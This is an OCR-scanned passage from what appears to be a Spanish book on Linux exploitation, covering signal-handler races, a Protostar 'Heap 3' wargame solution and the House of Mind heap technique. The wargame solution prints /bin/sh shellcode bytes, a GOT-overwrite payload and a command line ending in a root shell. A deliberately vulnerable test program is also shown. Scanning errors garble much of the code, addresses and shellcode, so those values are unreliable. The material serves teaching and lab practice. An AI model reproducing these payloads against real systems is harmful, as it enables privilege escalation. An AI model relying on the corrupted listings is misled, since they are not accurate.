Mora  observe  detenidamente  el  siguiente  codigo  esquematizado: 

void  manejador (int  valor) 

{ 

reserva_memoria (entradausuario) ; 
f ree (puntero2) ; 
free (punterol ) ; 
exit ( 0 ) ; 

} 

int  main ( int  arge,  char  **argv) 

{ 

/*-..*/ 

signal (  SIGHUP,  manejador  } ; 
signal (  SXGTERM,  sighndlr  } ; 

/  *  *  .  ,  */ 

J _ _ _ _ _ _ _ _ _ _ _ _ 

El  problems  aqui  es  que  freeO  no  es  una  de  las  funciones  que  se  encuentraii  protegidas  ante  la 
reentrada  de  senales.  Por  lo  tanto,  un  atacante  podria  enviar  una  sefial  sighuf  (por  ejemplo  mediante 
el  comando  kill ail  -hup  prog),  y  seguidamente  deseneadenar  otra  serial  sigterm  (kiiiaii  -term 
prog)  despues  de  que  puntero2  haya  sido  liberado  pero  antes  de  que  el  segundo  free  ( )  sea  ejecutado. 
En  ese  instante  la  funcion  manejador <•)  volvera  a  invocarse  y  la  funcion  reeervajnemoria  0  podria 
adquirir  un  trozo  de  memoria  que  se  corresponda  con  la  direccion  del  bloque  recientemente  liberado 
(puntero2)?  asignandole  datos  proporc  ion  ados  por  el  usuario  y  provocando  posteriormente  la 
liberacion  de  un  bloque  con  metadatos  corrompidos. 

La  programacion  descuidada  de  los  manejadores  de  senales  puede  provocar  innumerables  situaciones 
de  desincronizacion.  De  hecho,  ninguna  funcion  de  la  familia  *printf  ()  se  encuentra  dentro  de  las 
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liarnadas  seguras  en  los  manejadores.  Usted  deber&  hacer  algunas  virguerias  mediante  strcpyo  , 
s treat  ( )  y  write  o  para  imprimir  por  pantalla  mensajes  correctamente  formateados.  Por  Giro  lado, 
la  API  estandarizada  sigactitm  ( ) ,  aunque  de  estructura  mas  comp  I  ej  a  que  la  omnipresente  signal  0 , 
ofrece  nuevas  capacidades  y  plantea  ciertos  mecanismos  de  seguridad,  entre  los  que  podemos  destacar 
el  bloqueo  de  senales,  Cuando  an  manejador  se  est£  ejecutando,  las  nuevas  sefiales  producidas  con  un 
codigo  identico  se  mantendran  pendientes  hasta  que  el  primero  t ermine.  Las  sefiales  pendientes  se 
indicaran  y  actual  izaran  mediante  una  mascara  especial  mente  di  sen  ad  a  (de  asignacion  atomica)  que 
cadaproceso  individual  mantiene  entre  bastidores. 

La  morale]  a  es  clara,  siga  los  consejos  de  la  comunidad  de  program  ado  res,  de  los  c  readores  de  las 
interfaces  de  Unix/Linux,  y  sobre  lodo  de  los  hackers,  En  otro  cast),  por  lo  menos  detengase  un 
memento  a  pensar  en  las  conclusions  que  estos  han  alcanzado  mediante  la  dura  experienda  de 
v  u  Iner abi  l  i  d  ad  e  s  p  asadas . 


8.7.  Solucionario  Wargames 

HEAP  3 

El  siguiente  reto  introduce  la  libreria  Malloc  de  Doug  Lea  (dlmalloc)  y  como  los  metadatas  del  heap 
pueden  ser  modificados  para  alterar  la  ejecucion  de  un  program  a. 


C6digo  Fuente _ 

#include  cstdlib  »h> 

#include  <unistd.h> 

#include  <string.h> 
tinclude  <sys/types , h> 

#include  <stdio.h> 
void  winner ( ) 

t 

printf  ("that  wasn't  too  bad  now,  was  it?  @  %d\n'\  time  (MULL)  )  ; 

) 

int  mainfint  arge,  char  **argv) 
l 

char  *-a  +  *b,  *c; 
a  -  malloc {32 )  ; 
b  =  malloc {32) ; 
c  =  malloc (32) ; 
strcpyfa,  argv[l]>; 
strcpyfb,  argv [2] ) ; 
st r cpy ( C ,  argv [ 3 ] ) ; 
free (c) ; 
free (b) ; 
free  fa) ; 

printf  f" dynamite  failed?\n,f)  ; 

) 


Solucion 

En  el  apartado  anterior  hemos  estudiado  el  clasico  ejemplo  de  un  deshordamiento  de  buffer  en  el  que 
la  modi ficac ion  de  la  cabecera  de  un  segundo  bloque  reservado  permite  fabricar  un  tercer  trozo  talso 
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que  indique  que  el  segundo  esta  libre  (bit  prev  inuse  desactivado)  provocarido  asi  una  liamada  a  la 
macro  unlink  o  con  los  punteros  fd  y  bk  del  segundo  trozo  alterados  a  conveniencia, 

En  el  relo  que  se  nos  presenta,  los  bloques  de  memoria  son  liberados  en  orden  inverse  al  que  fueron 
reservados  y  por  ello  debemos  prestar  especial  atencion.  Cuando  free  (c)  es  ejecutado,  el  algoritmo 
free  ( )  detectara  que  el  trozo  siguiente  es  el  trozo  mas  alto  (wilderness  o  top  chunk)  y  los  combinara 
para  haeer  crecer  este  ultimo.  Los  intentos  de  atacar  el  wilderness  son  viables  pero  no  es  la  tecnica  que 
mas  nos  conviene  en  este  momento. 

^Como  podemos  atacar  el  problem  a  entonces?  Lna  vez  c  ha  si  do  uni  do  con  el  trozo  mas  alto,  free  (b) 
es  ejecutado.  free  { )  advertira  que  b  coincide  nuevamente  con  el  recien  estirado  wilderness  e  intentara 
consolidarlo,  pero  antes  de  que  esto  ocurra  tenemos  una  oportunidad  para  alterar  el  curso  de  ejecucion. 

Comprobemos  ei  codigo  de  GLIBC  en  su  version  2.0. 

S2  =  hd  &  ~PREV_INU5E; 

next  =  chunk_ut_of f set (p,  sz) ; 

nextsz  =  chunks! ze (next) ; 


(next  ==  top(ar  ptr) ) 

/* 

merge  with  top  */ 

sz  +-  nextsz; 

if  G  (hd  &  FREV  INUSE)  ) 

{ 

prevsz  —  p“>prev  size; 

[1] 

/* 

consolidate  backward 

[2] 

p  =  chunk  at  offset  {p,  -prevsz); 

[3] 

sz  +=  prevsz; 
unlink (p,  bek,  fwd) ; 

[4] 

) 


La  ZO na  consolidate  b  rj.  c k w n r ci  es  la  que  nos  interesa,  free  n  compmeba  en  [lj  si  el  trozo  a  liberar 
b  tiene  su  bit  prev_inuse  desactivado,  dado  el  caso  querria  decir  que  el  trozo  a  esta  libre  y  free  ( )  lo 
desenlazara  mediante  la  macro  unlink  ( )  para  que  el  wilderness  parta  ahora  desde  esa  nueva  direccion 
(en  realidad  io  que  ocurre  es  que  se  consolidanan  a  +  b  +  top  most  chunk).  Esto  se  produce  porque 
el  wilderness  no  puede  estar  nunca  al  lado  de  otro  trozo  libre,  no  tendria  sentido. 

Correcto.  Esto  es  lo  que  deseabamos.  Podemos  modificar  los  campos  prevsize  y  size  del  trozo  b 
con  un  valor  eomo  Oxfffffffc  (bit  prev  inuse  desactivado)  de  modo  que  freeO  [1]  erea  que  el 
trozo  anterior  a  esta  libre.  En  [2]  y  [3]  se  tratara  de  obtener  la  direccion  de  ese  anterior  trozo,  pero 
nosotros  logramos  establecer  una  direccion  falsa  ya  que: 

prevsz  =  p->prev  size  =  Oxfffffffc  (-4}; 
p  =  chunk_at_of f set (p,  -prevsz)  =  &b  -(-4.)  -  &b  +  4 

Es  decir,  que  el  trozo  que  unlink  o  [4]  tratara  de  desenlazar  en  realidad  comienza  en  el  campo  size 
del  trozo  b.  8  bytes  mas  alld  estaria  el  puntero  fd  y  12  bytes  mas  alia  el  puntero  bk.  Ese  espacio  de 
memoria  tambien  lo  controlamos  ya  que  esta  dentro  del  bloque  de  memoria  b  y  lo  manipulamos  a 
traves  de  strcpy(b,  argv[2] }.  Lo  demas  es  teoria  conocida.  unlink ()  sobrescribira  fd+12  con  el 
contenido  del  puntero  bk,  por  lo  tamo  necesi tamos  un  lugar  interesante  para  modificar  con  la  direccion 
de  la  ubicaeion  de  nuestro  shellcode.  Sobreseribircmos  la  entrada  puts  o  de  la  GOT  de  .  /heaps  ya 
que  esta  funcion  sera  ejecutada  tras  la  ultima  liamada  a  printf  n  del  programa  vulnerable.  El 
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shellcode  lo  sitiiaremos  en  el  bloque  de  memoria  c  (tercer  argumento  del  programa),  con  el  conocido 
truco  de  situar  una  instruction  jmp  que  salte  los  primeros  doce  bytes  dado  que  los  bytes  8  a  11  seran 
sobrescritos  por  unlink  o  .  Volcamos  nuestra  shellcode  a  /tmp/sc: 

user@protostar : /opt/protostar/binSecho  'perl  -e  ’print 

"\x31\xc0\x50\x68\x2f \x2f \x73\x68 \x68\x2f \x62 \x69\x6e\x8 9 \xe3\x5 0 \x53\x8 9\xel \xbO \x0 
b\xcd\x80"|V  >  /tmp/sc 


ObLenemos  la  direction  de  puts  {} : 

user^prcftostar :/ opt/protostar /bin$obj dump  -R  . /heap3  I  grep  "puts” 
Q804bl23  R 3 S6 JUMP SL0T  puts 


A  esta  direction  le  restamos  12  y  nos  queda  0xd8G4biic.  Ahora  las  direcciones  de  los  trozos,  en 
concreto  nos  interesa  la  de  c  que  es  donde  ira  el  shellcode: 

malloc (a)  =  QxD804c008 

malloc(b)  =  0x0804c030 
malloctc)  =  Ox08O4eO53 


Por  ultimo  unimos  todos  los  valores  que  construyen  nuestro  payload  para  comprobar  el  resultado: 

[a]->mem  “  T,b"x32 


[b] ->prev_siae  =  Oxfffffffc  (-4)™--- - ---o 

[b] ->size  =  Oxfffffffc  ( I PREV_1NUSE)  ] 

[b]  ~>mem[0]  -  T,bbbb"  < - o 

[b] ”>mem[ 4]  =  OxO804bllc  (fake->fd) 

[b]  ->mem[ 8 ]  =  0x0304c058  (fake->bk) 

[c]  “>meTn[0]  —  \xeb\xOc  =  jmp  12 

[c]->mem[2]  =  NOP 3  x  15 

[c] ^>mem[17]  =  shellcode 


Y  ejecutamos  el  exploit: 

usergprotestar : /opt /protostar/bin$ . /heap3  'perl  -e  ’print  ,Tb"x32  . 
"\xfb\xf f  \xff  \xff 11 » "\xfc\xff\xff\xf  f' "  T  ’  'perl  -e  ‘print 
,Tbbbb"  .  ,,\xlc\xbl\x04\xQ8T‘ .  " \x58\xc0\x0  4 \xQ8 ,f  ‘  '  'perl  -e  ’print 
,T\xeb\xOc"  .  lT\x90,fxl5  T  '  "cat  /tmp/sc' 

#  id 

uid— l’OOl  (user )  gid-1001  (user)  eu±d=0{root)  groups=0 (root) , 1001 (user) 

# 


Reto  superado. 


236 


Linux  Exploiting 


8.8.  Dilucidacion 

A  la  largo  de  este  capitulo  hemos  demostrado  que  sobrescribir  una  direccion  de  retomo  guardada  no 
es  la  unica  opcion  para  ejecutar  codigo  arbitrario.  A  veees,  la  alteracibn  prccisa  de  los  metadatas 
usados  inter  name  nte  por  un  programs  o  las  librerias  subyacentes,  puede  provocar  quo  se  escriban 
valores  especificos  en  eiertas  direct  iones  del  espacio  de  memoria  de  un  proceso,  redirigiendo  asi  el 
ilujo  a  nuestro  antojo. 

Tamo  Unlink  como  Front  I  ink  son  tecnicas  de  exploration  utiles  cuando  el  atacante  puede  controlar  de 
algun  modo  el  orden  de  los  bloques  reservados  y  existe  un  desbord  ami  onto  de  buffer  en  uno  de  el  I  os 
que  permite  sobrescribir  la  cabecera  de  un  trozo  eontiguo. 

Por  ultimo,  hemos  visto  que  las  vulnerabilidades  double freeQ  y  use  after  freeQ  pueden  producirse  por 
meros  deseuidos  del  programador  o  por  culpa  de  la  compleja  logics  del  software  modemo.  Una 
solution  ampliamente  utilizada  aunque  no  deflnitiva  ante  esta  clase  de  problemas  suele  ser  hacer  que 
los  punteros  reeien  liberados  apunten  a  un  valor  NULL.  Si  dichos  punteros  vuelven  a  ser  liberados, 
freeo  puede  reconocer  que  $u  parametro  no  apunta  hacia  nitigun  lugar  util  y  no  procedera  mas 
adelante.  En  cambio,  si  dicha  memoria  intenta  ser  utilizada  despues  de  liberarse,  se  producira  un  error 
de  segmentation  al  intentar  aceeder  a  la  direccion  virtual  GxOOOOOODO*  que  por  supuesto  no  esta 
mapeada,  pero  al  men  os,  y  solo  en  un  principio,  habremos  evitado  una  posible  ejecucion  de  codigo 
arbitrario  eonvirlicndolo  en  una  menos  grave  denegacion  de  servicio. 


Nota 


Jamas  se  confie  y  mantenga  un  buen  ojo  critico.  La  derreferencia  de  offsets  a  parti r  de 
punteros  nulos  tambien  ha  si  do  explotada  en  el  pasado. 
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^Cuales  son  las  condiciones  que  conducen  inexorablemente  a  la  creacion  de  una  nueva  tecnica  de 
explotacion?  ^Por  que  una  disposicion  concreta  de  llamad as  a  maiioc(>  y  freet)  permiten  una 
metodologia  y  por  que  otra  disposicion  hace  viable  otra?  ^Como  llamamos  a  estas  dtsposiciones? 
^  Form  an  parte  de  aqucllo  que  llamamos  bug  o  tan  solo  se  irata  de  puro  azar? 

Tanto  Unlink  como  Frontlink  dejaron  de  ser  aplicables  en  el  ano  2004,  momento  en  que  la  biblioteca 
GLTBC  fue  pardieada  a  tal  fin.  Sorprendentemente,  el  11  de  octubre  del  2005,  Phantasmal 
Phantasmagoria  publicaba  en  la  lista  bugtraq  un  artieulo  cuyo  nombre  provoeaba  un  profundo 
misterio,  el  “Malloc  Maleficarum”.  El  titulo  resulta  de  una  curiosa  analogia  con  un  antiquisimo 
volumen  conocido  como  el  Malleus  Maleficarum  o  Martillo  de  las  Brujas,  un  terrible  tratado 
inquisitorial  sobre  brujeria  y  demonologia  que  provocd  una  ignominiosa  persecucion  de  mujeres  con 
consecuencias  desastrosas. 

El  M alloc  Maleficarum,  por  su  parte,  constituyd  una  presentation  completamente  teorica  de  lo  que 
podria  llegar  a  ser  la  revolucion  de  las  nuevas  tecnicas  de  explotacion  con  respecto  al  am  hi  to  de  los 
heap  overflows. 

El  1  de  enero  del  2007,  en  la  revista  electronica  .aware  eZine  Alpha,  K-sPecial  publico  un  artieulo 
llamado  simplemente  “The  House  of  Mind”,  que  presentaba  una  prueba  de  concepto  demostrando  el 
primero  de  los  metodos  descritos  por  Phantasmal.  Por  ultimo,  el  25  de  mayo  del  2007,  g463  publicaba 
en  Phraek  “The  use  of  set  head  to  defeat  the  wilderness’",  describiendo  como  lograr  la  eonocida 
premisa  "write  almost  4  arbitrary  bytes  to  almost  anywhere F/  (escribir  4  bytes  arbitrarios  en  easi 
cualquicr  lugar)  explotando  un  bug  existente  en  la  aplicaeion  file. 

A  lo  largo  del  presente  capitulo,  nuestra  intention  sera  demostrar  en  la  practica  la  vtabilidad  de  todas 
las  tecnicas  publicadas  en  el  M alloc  Maleficarum,  presentando  nuevas  aportaciones  y  desgranando 
todos  los  conceptos  teoricos  necesarios  para  que  el  lector  pueda  desarrollar  y  amp  liar  su  arsenal  de 
habilidades. 


9.1.  La  muerte  de  Unlink 

La  tecnica  Unlink  presuponia  que  si  dos  trozos  eran  asignados  en  el  heap,  y  el  segimdo  era  susceptible 
de  ser  sobrescrito  a  traves  de  un  overflow  del  primero,  un  tercer  trozo  falso  podia  ser  creado  y  de  este 
mode  enganar  a  free  { )  para  que  pro  cedi  era  a  desen  lazar  este  segundo  trozo  y  unirlo  con  cl  primero. 

Recordemos  que  dicho  desen  lace  sc  product  a  con  el  siguiente  fragmento  de  codigo: 

_ 


#def ine  unlink  {  P,  BK,  FD  )  { 
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BK  -  P->bk; 
FD  =  F->Fd; 
FD~>bk  =  BK; 
BK->f d  =  FD; 


\ 

\ 

\ 

\ 


Siendo  p  el  segundo  trozo  alterado,  p->fd  se  modificaba  para  apuntar  a  una  zona  de  memoria 

susceptible  de  ser  sobreserita  (como _ dtor  end _  -  12).  Si  ?->bk  apuntaba  entonces  a  la  direecion 

de  un  she!! code  situado  en  !a  memoria  por  un  exploiter  (tal  vez  en  el  entorno  o  en  el  mismo  primer 
trozo),  entonces  esta  direecion  seria  escrita en  el  tercer  paso  de  unlink ()  en  FD->bk,  que  resultaba  ser: 

FD->bk  =  p->fd  +  12  =  _ dtor_end _ 

*  { _ dtor_end _ )  -  &shellcode 

Las  entradas  en  la  GOT  o  los  punteros  a  funcion  tambien  son  un  buen  objetivo.  Tras  la  aplicacion  de 
los  correspond ientes  parches  en  GL1BC,  el  codigo  de  la  macro  unlink  o  se  muestra  como  sigue: 

# define  unlink (P,  BK,  FD)  {  \ 

FD  =  P->£d;  \ 

BK  =  P->bk;  \ 

if  (  __builtin__expect  (FD->bk  3=  P  |  |  BK->fd  !  =  P,  0)  )  \ 


"corrupted  double-linked  list1',  P);\ 


malloc_printerr  {check_action 


\ 

\ 

\ 

\ 


else  { 


FD->bk  -  BK; 
3K->fd  =  FD; 


Si  p->fd,  que  apunta  al  siguiente  trozo  (fd),  no  es  modificado,  entonces  el  puntero  de  regreso  bk  de 
pc  debe  apuntar  a  su  vez  a  p.  Lo  mismo  oeurre  eon  cl  trozo  anterior  (bk).  Si  p->bk  apunta  al  trozo 
anterior,  entonces  el  puntero  fd  de  bk  debe  apuntar  a  p.  En  cualquier  otro  caso,  significara  un  error  en 
la  lista  doblemente  enlazada  y  por  ende  que  el  segundo  trozo  (p)  ha  sido  hackeado. 

De  hecho,  en  una  situacion  de  ataque  normal,  si  DTOR->bk  apuntase  a  p  y  sheiicode->fd  tambien 
apuntase  al  trozo  p  podriamos  evadir  dicbo  chcqueo.  El  problema  radio  a  en  que  un  exploit  podria 
cumplir  la  segunda  de  las  condiciones  pero  no  la  prim  era  al  no  disponer  de  acceso  al  espacio  virtual 
de  direcciones  del  proceso  vulnerable.  Esle  es  preeisamente  un  sistema  de  proteccion  elemental 
implemenlado  en  todos  los  sistemas  operatives,  el  conocido  modo  protegido.  Salvo  con  syscalls 
especiales  o  metodos  de  IPC  de  intercomunicacion,  un  proceso  no  puede  interferir  en  el  espacio  de 
memoria  de  otro.  Aim  con  funciones  existentes  en  Windows  como  writeProcess  0  o  similares,  esto 
nunca  es  posible  con  apli  cad  ones  que  tengan  privilegios  superiores  al  programa  que  intenta  acceder. 
Del  mismo  modo  que  GDB  o  la  interfaz  ptrace  0  no  puede  realmente  modi  Hear  valores  de  la  memoria 
de  un  proceso  setuid  ni  otorgamos  una  shell  con  perm  isos  de  root. 


9.2.  The  House  of  Mind 

The  House  of  Mind  puede  ser  descrita  como  la  tecnica  mas  amigable  con  respecto  a  lo  que  en  su  epoca 
fue  Unlink. 
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No  til 


Solo  una  llamada  a  free  ( )  es  necesaria  para  prove  car  la  ejecucion  de  codigo  arbitrario,  A 
partir  de  aqui  tendremos  siempre  en  mente  que  la  funcidn  free  n  es  ejecutada  sobre  un 
segundo  trozo  que  puede  ser  desbordado  por  otro  trozo  que  ha  side  declarado  antes. 


Segun  malice . c,  una  llamada  a  free()  desencadena  la  ejecucion  de  una  funcion  envoJtorio,  en  la 
jerga  wrapper ,  llamado  publie_fREe  ( )  .  Mostramos  aqui  el  codigo  reievante: 

void  public_fREe (Void_t *  mem) 

{ 

instate  ar  ptr; 

mchunkptr  p;  /*  chunk  corresponding  to  mem  */ 

p  -  mem2 chunk (mem) ; 

ar_ptr  =  arena_£or_chunk(p),- 

_int_£ree  (ar_ptr,  mem) 

> 


Una  llamada  a  malice tx)  retom  ara,  siempre  que  todavia  quede  mem  or  i  a  disponible,  un  puntero  a  la 
zona  de  memoria  donde  los  datos  pueden  ser  almacenados,  movidos,  copiados,  etc...  Imaginemos  por 
un  memento  que  dado  char  *ptr  =  (char  *)  maiioc  (512)  r  se  le  devuelve  al  usuario  la  direction 
0x0804a008.  Esta  direction  es  la  que  mem  contiene  euando  free  ( )  es  llamado. 

La  funcion  mem2ehzmk  (mem)  devuelve  un  puntero  a  la  direceion  donde  comlenza  el  trozo  (no  la  zona 
de  datos,  sino  el  principio  de  la  cabecera),  que  en  un  trozo  asignado  es  algo  como: 

&mem  -  sizeof(size)  -  sizeof (prev_size)  -  & mem  -  8. 
p  -  (OxQ0O4aOOO ) ; 


p  es  enviado  entonces  a  la  funcion  arene  for  chunk  ( )  s  que  segun  arena .  e,  desencadena  lo  siguiente: 


iwrffw  Hwjwijm  (ion* mu) 
ptr)  \  ~ 


((hfrap  info  lan$)(pU)  &  "(HEAP  JWH SIZE- 1)» 

Adefisie  chunk  non jrvi^i  h  WMJtoinjRtHA.) 


adrFine  a  16 na-for  eti u/\k (ptr)  \ 

( cb imk  _rci  n_na  i  n  ’  ar  ena  ( pt  r  )?  he  f  ofjpti  £ ptr )  -  >  a  r jrt  r  ;  i  ri  re  na ) 


Jmagen  09.0 ! :  Macros  para  gesliOn  de  heaps  o  arenas. 


Como  vemoSj  p,  que  ahora  es  ptr,  se  pasa  a  chunk_n6n_main— a'rena  ()  que  se  encarga  de  comprobar 
si  el  eatnpo  size  de  este  trozo  tiene  el  tercer  bit  menos  significativo  activado  (nqn_main_arena  =  4h 
-  10  Ob). 


240 


Linux  Exploiting 


Un  arena  no  es  mas  que  la  representation  de  un  heap.  Para  que  las  aplicaciones 
multihilo  puedan  rcalizar  Teservas  de  memoria  sin  incurrir  en  confl ictos  de 
smcronizaeion,  el  gestor  de  memoria  puede  pennitir  a  un  hilo  {thread)  crear  un  nuevo 
heap  mientras  otro  se  encuentra  bloqueado. 


En  un  trozo  no  alterado,  esta  fimcion  retomara  false  y  la  direceion  de  maln_arena  sera  devuella  por 
arena  for  chunk  o .  Dado  que  nosotros  podeirios  alterar  el  cainpo  size  del  trozo  p,  y  hacer  que  este 
bit  si  este  acrivado,  enlonces  podemos  engaflar  a  arena  for  chunk  ()  para  que  heap  for  ptr  ()  sea 
llamado. 

(heapinf  o  *)  ((unsigned  long)  (0x0304a000)  &  -  ( HEAF_MAX_SIZE-1-)  )  ) 

(heap_info  *)  (0x08000000) 

Debemos  tener  en  cuenta  que  heap  for  ptr()  es  una  macro  y  no  una  fimcion,  de  vuelta  a 

arena  for  chunk  O  tendrfamos: 

(0x08000000) ->ar_ptr 


Este  arjitr  es  el  primer  miembro  de  una  estructura  heap_info  que  se  muestra  en  el  siguiente  listado: 

typedef  struct  heap_info  [ 

mstate  ar_ptr;  /*  Arena  for  this  heap.  */ 
struct  _heap  info  *prev;  /■*  Previous  heap.  */ 
size_t  size;  /*  Current  size  in  bytes.  */ 

size^t  pad;  /*  Make  sure  the  following  data  is  properly  aligned,  */ 

}  heap^info; 


De  mode  que  lo  que  se  esta  buscando  en  OxOBOOOOOO  es  la  direceion  de  una  arena  que  detlniremos  en 
breve.  Por  el  momento,  lo  que  podemos  decir  es  que  en  oxosoooooo  no  existe  direceion  alguna  que 
apunte  a  ninguna  arena ,  de  modo  que  el  programs  rompera  proximamente  con  un  fallo  de 
segmentation. 

iQue  ocurriria  si  fuesemos  capaces  de  sobrescribir  un  trozo  con  una  direceion  como  esta:  QxO8iO02aO? 
Si  nuestro  primer  trozo  estuviese  en  oxoeoflaooo,  podemos  sobrescribir  hacia  delante  y  situar  en 
oxosiooooc  una  direceion  arbitraria.  por  ejemplo  el  principio  de  la  zona  de  datos  de  nuestro  primer 
trozo.  Entonces  heap  forptr  (ptr )  ->ar_ptr  tom  aria  esta  direceion  y  obtendriamos: 

return  heap  for^ptr (ptr) ->ar  ptr  —  ret  ( 0x08 100000 } ->ar  ptr 

ar_ptr  =  a re naf or  chunk  (p)  ;  —  ar^ptr  =  0x0804a008 

_int_f ree {ar_ptr^  mem);  -+  _int_f ree (0x08 0 4a00 8 ,  0xD81002a0) ; 

Piense  que  como  podemos  mod  ill  car  arjpt.r  a  nuestro  antojo,  podremos  hacer  que  apunte  a  una 
variable  de  entomo  o  cualquier  otro  sitio.  Lo  importante  es  que  en  esa  direceion  de  memoria  la  fun  cion 
int  free  ( )  espera  encontrar  una  estructura  arena. 

mstate  ar_ptr; 
struct  malloc_state  { 
mutex  t  mutex; 
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INTERN AL_SIZE_T 

mfastbinptr 

mchunkptr 

mchunkptr 

mchunkptr 

unsigned  int 


max_fast ;  /*  low  2  bits  used  as  flags  */ 

fastbins [NFASTBINS] ; 

top; 

last  remainder; 
binsfNBINS  *  2]; 
binmap [BTMMAPSiZE ] ; 


I NTERN AL_S I ZE_ T  system_mem; 
INTERNAL_SIZE  T  max_system_mem; 

Static  struct  malloc  state  main arena; 


E!  objetivo  de  The  House  of  Mind  es  aleanzar  la  siguiente  poreion  de  codigo  en  la  llamada 

_int_f ree  ( } : 

void  _int_f  ree  (instate  av,  Void_t*  mem}  { 

bck  =  unsorted_chunks (av) ; 

fwd  =  bck^>fd; 

p^>bk  =  bck; 

p-»£d  =  fwd; 

bck->fd  -  p; 

fwd->bk  -  p; 


} 


Reconozcamos  que  esto  ya  se  empieza  a  parecer  un  poeo  mas  a  la  macro  unlink  ( ) .  Ah  ora  av  tiene  el 
valor  de  ar_ptrf  que  se  supone  es  el  comienzo  de  ona  estructura  arena  controlada  por  el  atacante. 
Todavia mas,  unsorted  chunks  o  devuelve  la  direccidn  de  av->bins  [21  -  8. 

#def  ine  bin_at  (m,  i)  (  (mbinptr)  (  (char*  )  &  ((m)  ->bins  [  ( i)  «1  J  )  - 

(SIZE_SZ«1)  }  ) 

Idefine  unsorted chunks [M}  (bin at (M,  1}) 


Recientes  versiones  de  la  GLIBC  han  redefinido  la  macro  bin_at  0  de  la  siguiente  manera: 

fdefine  bin^attm,  i)  \ 

(mbinptr)  (((char  *)  & { (m) ->bins [ ( (i)  -  1)  *2]))  \ 

-  off  set  of  (struct  malloc chunk,  fd)  ) 


Teniendo  lo  anterior  en  mente  tenemos  que: 

bck  =  &av~>bins [2]  -  8; 

fwd  -  bck“>fd  =  *  (av->bins [2 j } ; 

fwd.“>bk  =  *  (av->bins  [2  ]  +12}  =  p; 

Lo  cual  quiere  decir  que  si  hacemos  que  el  valor  situado  en:  av->bins[2],  sea  dtor  end _  -  12, 

este  ser&  puesto  en  fwd,  y  en  la  ultima  instruccion  sera  escrito  en  _ dtor_end _ la  direction  del 

segundo  trozo  P,  y  se  prosigue  eomo  en  el  caso  anterior,  Lo  cierto  es  que  ni  siquiera  un  atacante  tiene 
por  que  ser  tan  inatematicamente  precise,  basta  con  que  rellene  toda  la  zona  que  parte  desde  av- 
>bins  [0]  con  duplicados  de  la  direecion  de  _dtor  end_  -  12,  con  lo  que  las  probabilities  de 
exito  seran  mucho  mayo  res. 
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Sepa  el  lector,  no  obstante,  que  hemes  Hegado  hasta  aqui  sin  atravesar  un  camino  lleno  de  espinas, 
Para  lograr  ejecutar  codigo  arbitrario,  deltas  condiciones  deben  ser  cumplidas.  Veremos  ahora  cada 
una  de  ellas  relacionada  con  su  porcidn  de  codigo  correspondiente  en  la  funcidn  _int  free  <>  : 

-  El  valor  negativo  del  tamano  del  trozo  sobrescrito  debe  ser  mayor  que  el  propio  valor  de 
ese  trozo  (p). 

if  (  builtin expect  f (uintptr t)  p  >  (uintptr t)  -size,  0)  . . , 

-  El  tamafio  de!  trozo  no  debe  ser  inenor  o  igual  que  av->max_fast, 
if  (  (unsigned  long)  (size)  <=  {unsigned  long)  (av->max fast)  ... 


Observ  e  que  controlamos  tanto  el  tamano  del  trozo  sobrescrito  como  a,v->ntax_fast,  que  es  el  segundo 
campo  de  nuestra  estructura  arena  falseada, 

El  bit  ismmappsd  no  debe  estar  activado  en  el  campo  size. 

else  if  ( J chunk i5 mroapped (p) )  { 


Tambien  controlamos  el  segundo  bit  menos  significativo  del  campo  size. 
-  El  trozo  sobrescrito  no  puede  ser  av->top  (trozo  iris  alto). 

if  ( builtin expect  (p  ==  av->top,  0) )  ... 

^v->max_fast  debe  tener  el  bit  noncontiguous^  it  activado. 

if  { builtin expect  (contiguous  (av)  ... 


Nosotros  controlamos  av->max_fasfe  y  sabemos  que  noncqntigucus_bit  es  igual  a  0x02  =  10b. 

*  El  bit  PREV_xtJ05E  del  siguiente  trozo  debe  estar  activado. 
if  (  built  in expect.  { 1  prev inuse  ( nextehunk)  ,  0))  ... 


Como  nuestro  trozo  es  un  trozo  asignado,  esta  condi cion  se  cumple  por  defecto. 

-  El  tamano  del  siguiente  trozo  debe  ser  mis  grande  que  8. 

if  (  built in expect  (nextchunk->size  <=  2  *  SIZE  SZ,  0)  ... 

-  El  tamano  del  siguiente  trozo  debe  ser  menor  que  av->system_mem. 
builbin expect  (next size  >=  av->system mem/  0)) 

■  HI  bit  prev  inuse  del  trozo  debe  estar  activado  paia  evadir  de  este  modo  el  proceso  de 
desenlace  del  trozo  anterior. 

/*  consolidate  backward  */ 

if  ( !prev inuse (p) )  {  ... 

-  El  siguiente  trozo  tiene  que  ser  diferenie  de  a  av->top. 


if  (nextehunk  !-  av->top)  {  -  ,  * 
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-  El  bit  prev_inu-se  del  trozo  eolocado  despues  del  siguiente  trozo,  debe  estar  activado. 

nextinuse  -  inuse_bit_aL_ of fset (nextchunk,  nextsize) ; 

/*  consolidate  forward  */ 
if  (Snextinuse)  {  ... 


El  camino  parece  largo  y  tortuoso,  pero  un  atacante  puede  contra  l  ar  lodas  las  condieiones  que 
desencadenan  la  vulnerabilidad.  Veamos  un  posible  program  a  vulnerable: 

# include  <stdio,h> 

# include  <stdlib.h> 
int  main  (void) 

{ 

char  *ptr  =  malloc f 1024) ;  //  Primer  trozo  reservado 

char  *ptr2 ;  //  Segundo  trozo 

int  heap  =  (int) ptr  &  OxFFFOOGQQ;  //  ptr  &  - (HEAF_MAX_SIZE-1 )  -  0x08000000 
int  found  =  0; 

printf(nptr  found  at  %p\n"r  ptr);  //  Direccion  ler  trozo 
for  (  int  i  =  2;  i  <  1024;  if+  ) 

{ 

/*  Asigna  trozos  hasta  una  direccion  superior  a  0x08100000  */ 
if  ( I  found  ( ( (int)  (ptr2  =  malloc { 1 024 ) )  &  GxFFFQQOOO)  ==  \ 

(heap  +  0x100000) ) )  { 

printf ("good  heap  allignment.  found  on  malloc  ()  %i  (%p)\nn,  1,  ptr2)  ; 
found  —  1 ;  /*  Sale  si  lo  alcanza  */ 
break; 

> 

) 

malloc (1024 ) ;  /*  Asigna  otro  trozo  mas:  (ptr2  i-  av~>top)  */ 

/*  Llamada  vulnerable:  1048576  bytes  */ 
fread  (ptr,  1024  *  1024/  1,  stdin) ; 

free (ptr) ;  /*  Libera  el  primer  trozo  */ 

free (ptr2 ) ;  /*  Aqui  se  produce  The  House  of  Mind  * / 

return (0)  ; 

} 


Es  de  advertir  que  la  entrada  permite  bytes  null  sin  que  se  finalice  la  cadena.  Esio  Jacilita  nuestra  tarea. 
Presentamos  a  continuacion  el  exploit  disefiado  siguiendo  todas  las  consignas  que  hemos  estudiado  a 
lo  largo  de  esta  seecibn. 

